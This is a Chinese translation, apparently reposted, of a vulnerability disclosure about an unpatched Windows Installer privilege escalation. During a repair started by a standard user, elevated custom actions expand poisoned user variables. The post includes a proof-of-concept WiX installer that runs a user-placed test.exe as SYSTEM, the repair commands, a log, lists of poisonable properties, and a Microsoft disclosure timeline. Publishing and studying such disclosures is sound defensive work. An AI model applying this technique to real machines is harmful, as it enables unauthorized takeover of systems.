Windows Installer,利用自定义操作
一年多以前,我发表了我的关于Windows Installer服务的研究。文章详细解释了MSI修复过程如何在提升的上下文中执行,但由于缺乏模拟可能导致任意文件删除和类似问题。该问题得到了微软的确认(作为CVE-2023-21800),但从未直接修复。相反,引入了重定向防护措施,以减轻在msiexec
进程上下文中的所有符号链接攻击。那时,我对这个解决方案并不特别满意,但我找不到任何绕过的方法。
事实证明,重定向防护措施按预期工作,因此我花了一些时间从其他角度攻击Windows Installer服务。发现了一些漏洞(CVE-2023-32016),但我始终认为微软处理模拟问题的方式并不完全正确。在另一轮研究中,这种未修复的行为变得非常有用。
本文描述了影响最新Windows 11版本的未修补漏洞。它展示了如何利用这个问题来提升本地用户的权限。漏洞提交在处理了半年后被关闭,理由是不可重现。我将演示如何让其他人重现该问题。
自定义操作
在Windows Installer世界中的自定义操作是用户定义的操作,用于扩展安装过程的功能。在Windows Installer的内置功能不足的情况下,自定义操作是必要的。例如,如果应用程序需要根据用户的环境动态设置特定的注册表项,可以使用自定义操作来实现这一点。另一个常见的用例是,当安装程序需要执行复杂任务,如自定义验证或与其他软件组件的交互,而标准的MSI操作无法处理这些任务时。
总体而言,自定义操作可以通过不同方式实现,例如:
-
使用公开的C/C++ API编译到自定义DLL中 -
在WSX文件中内嵌VBScript或JScript代码段 -
在WSX文件中显式调用系统命令
以上所有方法都受影响,但为了简化,我们将重点关注最后一种类型。
让我们来看一个包含一些自定义操作的WSX文件(poc.wsx
)示例:
<?xml version="1.0" encoding="utf-8"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="{12345678-9259-4E29-91EA-8F8646930000}" Language="1033" Manufacturer="YourCompany" Name="HelloInstaller" UpgradeCode="{12345678-9259-4E29-91EA-8F8646930001}" Version="1.0.0.0">
<Package Comments="This installer database contains the logic and data required to install HelloInstaller." Compressed="yes" Description="HelloInstaller" InstallerVersion="200" Languages="1033" Manufacturer="YourCompany" Platform="x86" ReadOnly="no" />
<CustomAction Id="SetRunCommand" Property="RunCommand" Value=""[%USERPROFILE]test.exe"" Execute="immediate" />
<CustomAction Id="RunCommand" BinaryKey="WixCA" DllEntry="WixQuietExec64" Execute="commit" Return="ignore" Impersonate="no" />
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLFOLDER" Name="HelloInstaller" ShortName="krp6fjyg">
<Component Id="ApplicationShortcut" Guid="{12345678-9259-4E29-91EA-8F8646930002}" KeyPath="yes">
<CreateFolder Directory="INSTALLFOLDER" />
</Component>
</Directory>
</Directory>
</Directory>
<Property Id="ALLUSERS" Value="1" />
<Feature Id="ProductFeature" Level="1" Title="Main Feature">
<ComponentRef Id="ApplicationShortcut" />
</Feature>
<MajorUpgrade DowngradeErrorMessage="A newer version of [ProductName] is already installed." Schedule="afterInstallValidate" />
<InstallExecuteSequence>
<Custom Action="SetRunCommand" After="InstallInitialize">1</Custom>
<Custom Action="RunCommand" After="SetRunCommand">1</Custom>
</InstallExecuteSequence>
</Product>
</Wix>
这看起来像是一个完全正常的WSX文件。它定义了InstallExecuteSequence
,由两个自定义操作组成。SetRunCommand
被安排在InstallInitialize
事件之后立即运行。然后,RunCommand
应该在SetRunCommand
完成后立即启动。
SetRunCommand
操作只是设置了RunCommand
属性的值。[%USERPROFILE]
字符串将被扩展为当前用户的配置文件目录路径。这是通过安装程序使用USERPROFILE
环境变量的值来实现的。扩展过程涉及在运行时检索环境变量的值并用此值替换[%USERPROFILE]
。
第二个操作,也称为RunCommand
,使用RunCommand
属性并通过调用WixQuietExec64
方法执行它,这是安静且安全地执行命令的好方法(不会生成任何可见窗口)。Impersonate="no"
选项允许命令以LocalSystem的全部权限执行。
在一个健康的系统上,管理员的USERPROFILE
目录不能被任何权限较低的用户访问。RunCommand
执行的任何文件都不应由权限较低的用户直接控制。
我们涵盖了一个相当简单的例子。实现预期的自定义操作实际上相当复杂。有许多错误可能会发生。操作可能依赖于不受信任的资源,它们可能生成可劫持的控制台实例,或以不必要的高权限运行。这些危险的错误可能会在未来的博客文章中涉及。
测试安装程序
有了WiX Toolset,我们可以将XML文件转换为MSI文件。请注意,我们需要启用额外的WixUtilExtension
来使用WixCA
:
candle .poc.wxs
light .poc.wixobj -ext WixUtilExtension.dll
poc.msi
文件应在当前目录中创建。
根据我们上面的WSX文件,一旦安装初始化,我们的自定义操作应运行"[%USERPROFILE]test.exe"
文件。我们可以设置一个ProcMon过滤器来查找该事件。记得还要启用“Integrity”列。
我们可以使用任何管理员帐户(这里是Almighty
用户)安装应用程序
msiexec /i C:pathtopoc.msi
ProcMon应该记录CreateFile
事件。该文件不存在,因此尝试了其他文件扩展名。
通过运行安装修复过程可以重现相同的操作序列。命令可以指向特定的C:/Windows/Installer/*.msi
文件或使用我们在WSX文件中定义的GUID:
msiexec /fa {12345678-9259-4E29-91EA-8F8646930000}
如果Almighty
用户触发了修复过程,结果应该是完全相同的。
另一方面,请注意如果安装修复是由另一个无特权用户lowpriv
启动的,会发生什么:
是用户的环境设置了可执行文件路径,但命令仍以System
级别的完整性执行,没有任何用户模拟!这导致了一个直接的权限提升。
作为最终确认,lowpriv
用户会在C:/Users/lowpriv/test.exe
路径下放置一个add-me-as-admin类型的有效负载。安装过程不会完成,直到test.exe
正在运行,处理这种行为相当简单。
可选地,可以在修复命令中添加/L*V log.txt
以获取详细日志。被毒害的属性应该很明显:
MSI (s) (98:B4) [02:01:33:733]: Machine policy value 'AlwaysInstallElevated' is 0
MSI (s) (98:B4) [02:01:33:733]: User policy value 'AlwaysInstallElevated' is 0
...
Action start 2:01:33: InstallInitialize.
MSI (s) (98:B4) [02:01:33:739]: Doing action: SetRunCommand
MSI (s) (98:B4) [02:01:33:739]: Note: 1: 2205 2: 3: ActionText
Action ended 2:01:33: InstallInitialize. Return value 1.
MSI (s) (98:B4) [02:01:33:740]: PROPERTY CHANGE: Adding RunCommand property. Its value is '"C:Userslowprivtest.exe"'.
Action start 2:01:33: SetRunCommand.
MSI (s) (98:B4) [02:01:33:740]: Doing action: RunCommand
MSI (s) (98:B4) [02:01:33:740]: Note: 1: 2205 2: 3: ActionText
Action ended 2:01:33: SetRunCommand. Return value 1.
被毒害的变量
msiexec.exe
中的repair
操作可以由标准用户启动,同时自动提升其权限以执行某些操作,包括MSI文件中定义的各种自定义操作。值得注意的是,并非所有自定义操作都以提升的权限执行。具体而言,操作必须显式标记为Impersonate="no"
,安排在InstallExecuteSequence
和InstallFinalize
事件之间,并使用commit
、rollback
或deferred
作为执行类型才能以提升的权限运行。
将来,我们可能会发布更多材料,包括一个工具集来搜索满足上述条件的受影响安装程序。
提升的自定义操作可能会使用环境变量以及Windows安装程序属性(请参阅属性的完整列表)。我观察到以下属性可以由启动修复过程的标准用户“毒害”:
-
“AdminToolsFolder” -
“AppDataFolder” -
“DesktopFolder” -
“FavoritesFolder” -
“LocalAppDataFolder” -
“MyPicturesFolder” -
“NetHoodFolder” -
“PersonalFolder” -
“PrintHoodFolder” -
“ProgramMenuFolder” -
“RecentFolder” -
“SendToFolder” -
“StartMenuFolder” -
“StartupFolder” -
“TempFolder” -
“TemplateFolder”
此外,软件安装程序常用的环境变量如下(此列表不详尽):
-
“APPDATA” -
“HomePath” -
“LOCALAPPDATA” -
“TEMP” -
“TMP” -
“USERPROFILE”
这些值通常用于构建自定义路径或作为系统命令参数。被毒害的值可能会改变命令的意图,可能导致命令注入漏洞。
请注意,所描述的问题本身并不可利用。利用有漏洞的自定义操作的MSI文件必须已经安装在机器上。然而,该问题可能对进行本地权限提升的渗透测试人员或作为持久化机制非常有用。
披露时间表
此问题的详细信息于2023年12月1日报告给微软安全响应中心。在报告时,漏洞在最新的Windows Insider预览版本上得到了确认:26002.1000.rs_prerelease.231118-1559
。
披露时间表 | 状态 |
---|---|
2023/12/01 | 向微软报告漏洞 |
2024/02/09 | 请求更多详细信息 |
2024/02/09 | 提供了更多详细信息 |
2024/05/09 | 问题关闭,原因是无法重现:“我们完成了评估,由于无法使用提供的重现步骤重现问题,我们不期望对此案例采取进一步行动,将进行关闭。” |
我们请求微软重新打开工单,并在发布前将博客文章草稿分享给微软。
截至目前,该问题仍未修复。我们确认它影响到当前最新的Windows Insider预览版本 10.0.25120.751
。
原文始发于微信公众号(3072):Windows Installer 的 Custom Actions 攻击面分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论